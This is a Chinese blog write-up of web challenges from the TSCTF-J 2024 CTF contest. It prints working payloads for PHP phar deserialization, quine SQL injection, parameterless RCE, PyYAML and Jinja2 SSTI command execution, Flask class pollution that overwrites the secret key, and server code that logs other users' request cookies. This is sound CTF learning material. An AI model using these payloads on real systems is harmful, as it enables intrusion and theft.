TSCTF-J 2024 WriteUP

解出题目(主Web方向):

  • set set what(WEB 签到)
  • 1z_serialize & 1z_serialize_revenge
  • KindOfQuine
  • RCE_ME!!!
  • alpaca_search
  • alpaca_search_again
  • hack&fix-1-2-3
  • 我闻到了[巧物]的清香

set set what(WEB 签到)

知识点:html

前端修改滑块的min值为出题人qq号即可,开启坐牢的大门~~


1z_serialize & 1z_serialize_revenge

没有发现非预期解,两题用相同方法解决

知识点:PHP反序列化、POP链、Phar的利用和签名修复

首先别着急学习uzi跳枪,先目录扫描,发现robots.txt
访问robots.txt,看到下一步的路径:/uplll1ll00ad.html

User-agent:*
Disallow:/uplll1ll00ad.html

进入/uplll1ll00ad.html发现可以上传gif文件,再结合php文件中的file_get_contents()函数可以想到利用Phar进行反序列化。
观察给出的php文件,学习uzi跳枪,构造pop链,生成phar。

<?php
class He_Ping
{
    public $expired;
    public $u;
    public $zi;

}
class Jing_Ying
{
    public $tiao;
    public $qiang;
}

$a=new He_Ping();
$a->u=new Jing_Ying();
$a->u->tiao=new Jing_Ying();
$a->u->tiao->qiang=new He_Ping();
$a->u->tiao->qiang->expired=true;
$a->u->tiao->qiang->zi='nl /flag';      //输入执行命令即可

$phar = new Phar("1111.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("1.txt","1"); 
$phar->stopBuffering();
?>

<?php
class He_Ping
{
    public $expired;
    public $u;
    public $zi;

}
class Jing_Ying
{
    public $tiao;
    public $qiang;
}

$a=new He_Ping();
$a->u=new Jing_Ying();
$a->u->tiao=new Jing_Ying();
$a->u->tiao->qiang=new He_Ping();
$a->u->tiao->qiang->expired=true;
$a->u->tiao->qiang->zi='nl /flag';      //输入执行命令即可

$phar = new Phar("1111.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("1.txt","1"); 
$phar->stopBuffering();
?>

接着再考虑throw new Exception("Garbage Collection");__wakeup()魔术方法
需要更改序列化字符串:提前出现空变量来提前触发GC,属性个数大于实际属性个数绕过wakeup
而序列化字符串在phar文件中,要写python脚本更改,并修复签名(题目服务端签名加密使用SHA1)

import hashlib

with open('1111.phar', 'rb') as f:
    content = f.read()

text = content[:-28]
text=text.replace(b'3:{',b'4:{')# 这个部分修改了序列化字符串,刚好把上述两个要点均绕过
end = content[-8:]
sig = hashlib.sha1(text).digest()

with open('newSHA1.phar', 'wb+') as f:
    f.write(text + sig + end)

上传phar文件(改拓展名为.gif直接传),根据题目提示,文件存于uploads
最后在跳枪课程unserialize.phpGET传入?uzi=phar://uploads/newSHA1.gif即可获得flag

注:在PHP版本较高时,phar文件签名会使用SHA256,所以应该修改签名修复脚本。以此题为例,SHA256签名修复脚本如下:

import hashlib

with open('1111.phar', 'rb') as f:
    content = f.read()

text = content[:-40]
text=text.replace(b'3:{',b'4:{')
end = content[-8:]
sig = hashlib.sha256(text).digest()

with open('newSHA256.phar', 'wb+') as f:
    f.write(text + sig + end)

KindOfQuine

知识点:quine注入结合MD5、耐心

上来二话不说先sqlmap注入,结果只是看到了提示

结合数据库名字,搜到quine注入,找到了包浆注入语句
但是与题目不相符合,接下来就要进行修改

按照quine注入的基本逻辑,先写出自生成的基本语句:replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')
接着结合题目md5,构造核心语句1"/**/union/**/select/**/1,md5(replace(replace(".",char(34),char(39)),char(46),"."))#(注意union对齐和MD5)
用核心语句替换基本语句中的replace(replace(".",char(34),char(39)),char(46),".")
闭合源代码中的MD5('$pw')的右引号、右括号,在加union select 1,md5(替换后的语句)
空格用\**\替换

得到payload:1')/**/union/**/select/**/1,md5(replace(replace('1")/**/union/**/select/**/1,md5(replace(replace(".",char(34),char(39)),char(46),"."))#',char(34),char(39)),char(46),'1")/**/union/**/select/**/1,md5(replace(replace(".",char(34),char(39)),char(46),"."))#'))#

登陆页面id=admin,pw=payload可得flag


RCE_ME!!!

知识点:无参数RCE、正则表达式

审计php文件,通过正则表达式明显看出是无参数rce
payload:?cmd=eval(end(current(get_defined_vars()));&aaa=system('env')
flag在环境变量里


alpaca_search

知识点:密码爆破、Cookie

据说我的方法是非预期

账号密码burp suite爆破,username=admin,password=guest
接着猜数字,先用重发器,发现每次猜错后counter会重置,就不考虑重放了

出题人:如果设断点调一下,会发现猜对一次后正确数字不会变了

这一点我没想到,于是采用了另外的方法:
我直接在请求包里修改cookie,直接给counter赋值1000,然后重发碰撞正确数字,猜对一次后即可获得flag




alpaca_search_again

知识点:yaml、python之subprocess

账号密码容易爆破,均为admin
进入猜数字环节,抓包抓不到啥信息、重放碰不到正确数字
那看来正确数字不重要了

观察猜数字界面,(问问出题人,问问google)得知[{'password': 'admin', 'username': 'admin'}]是yaml格式

F12考察一下,发现session直接存在cookie中,base64解密之后可以看见内容就是yaml格式的内容,可能存在注入

构建payload

{
  ? "test"
  : !!python/object/apply:subprocess.check_output [
    "ls",
  ]
}

base64编码后传入session,发现可以控制yaml的内容,并完成系统命令执行

{
  ? "test"
  : !!python/object/apply:subprocess.check_output [
    {cat,flag},
  ]
}

同样方法传入,flag到手


hack&fix系列

hack&fix-1

知识点:SSTI

审计app.py容易发现SSTI漏洞
按照正常程序,找到object
{{"".__class__.__mro__[1].__subclasses__()}}可以获得所有子类
写个python脚本,找可以可执行shell命令的子类,如:os._wrap_close

a='''这里放返回的所有子类'''
a=a.split(',')
num=0
for i in a:
    if '<class \'os._wrap_close\'>' in i:
        print("num:",num)
    num+=1

print("end")

执行后返回num:137

最后payload:
{{"".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['popen']('ls /').read()}}
{{"".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['popen']('cat /flag').read()}}

hack&fix-2

知识点:SSTI修复

转义一下用户输入就好

from flask import Flask, request, render_template_string
from markupsafe import escape

app = Flask(__name__)

html = """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flask Form</title>
    <link href="https://fonts.googleapis.com/css2?family=Comfortaa&family=Orbitron&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="static/style.css">
</head>
<body>
    <label class="mode-switch" aria-label="Toggle dark mode">
        <input type="checkbox" id="darkModeToggle">
        <span class="slider"></span>
    </label>
    <div class="container">
        <form method="POST">
            <input type="text" name="input" placeholder="Enter a word" required>
            <button type="submit">Submit</button>
        </form>
        <div class="word-display">
            {{ user_input }}
        </div>
    </div>
    <script src="static/script.js"></script>
</body>
</html>"""

@app.route('/', methods=['GET', 'POST'])

def ssti():
    if request.method == 'POST':
        user_input = request.form['input']
    else:
        user_input = 'Hello, World!'

    context = {'user_input': escape(user_input)}
    try:
        return render_template_string(html, **context)
    except Exception as e:
        context['user_input'] = escape(str(e))
        return render_template_string(html, **context)

hack&fix-3

知识点:python

题目会用脚本执行上传的python文件,所以想到可以在python中加入恶意代码,再根据提示,恶意代码应该是要收集批量执行的请求数据

修改一下第二问传入的脚本,关键变化部分exp

@app.route('/', methods=['GET', 'POST'])
def ssti():
    if request.method == 'POST':
        with open('request_log.txt', 'a') as file:
            file.write(f"Method: {request.method}\n")
            file.write(f"Path: {request.path}\n")
            file.write(f"Headers: {request.headers}\n")
            file.write(f"Body: {request.get_data(as_text=True)}\n")
            file.write("\n")

        user_input = request.form['input']
    else:
        user_input = 'Hello, World!'

执行后用hack&fix-1的方法翻翻各种路径
脚本生成的文件存在了/home/restricted_user
读取文件可得所有请求内容
仔细阅读,发现每个Cookie: secret_message=的值都不同,组成了flag
拼接,可得flag
整理、拼接flag脚本如下:

with open('request_log.txt', 'r') as file:
    content = file.read()

result = ''

index = 0
while True:
    index = content.find('secret_message=', index)
    if index == -1:
        break

    next_char_index = index + len('secret_message=')
    if next_char_index < len(content):
        result += content[next_char_index]
    index += 1  

print(result)

我闻到了[巧物]的清香

知识点:Python原型链污染、flask

审计app.py,发现关键:合并函数

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

根据代码逻辑,先改static_folder的路径
payload:

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "_static_folder":"imagedir"
            }
        }
    }
}

然后GET方法/read_secret

接下来改SECRET_KEY
payload:

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"AD049E0604CB01F2A7AFA1075B81B7"
                }
            }
        }
    }
}

最后GET方法/flag

总结

第一次 (坐牢) 参加正式比赛,好玩
比赛过程中始终没敢松懈,边学边做(被炸鱼哥吓着了)
过程确实很挣扎,有的题做了半天,但是不觉得很累
题目有一丁点的进展足以让我重振精神,更不用说是flag跳出来的那一刻

记忆最深的是==KINDOFQUINE==,现学现卖,好长的payload在出题人的提示下也是写了出来

真的学到了很多很多很多知识,也认识到了很多不足
感谢出题人 orz orz orz
还要感谢google,高效搜索真的很重要

我也算是走上了CTF的不归路了吧
期待以后的学习和比赛


欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇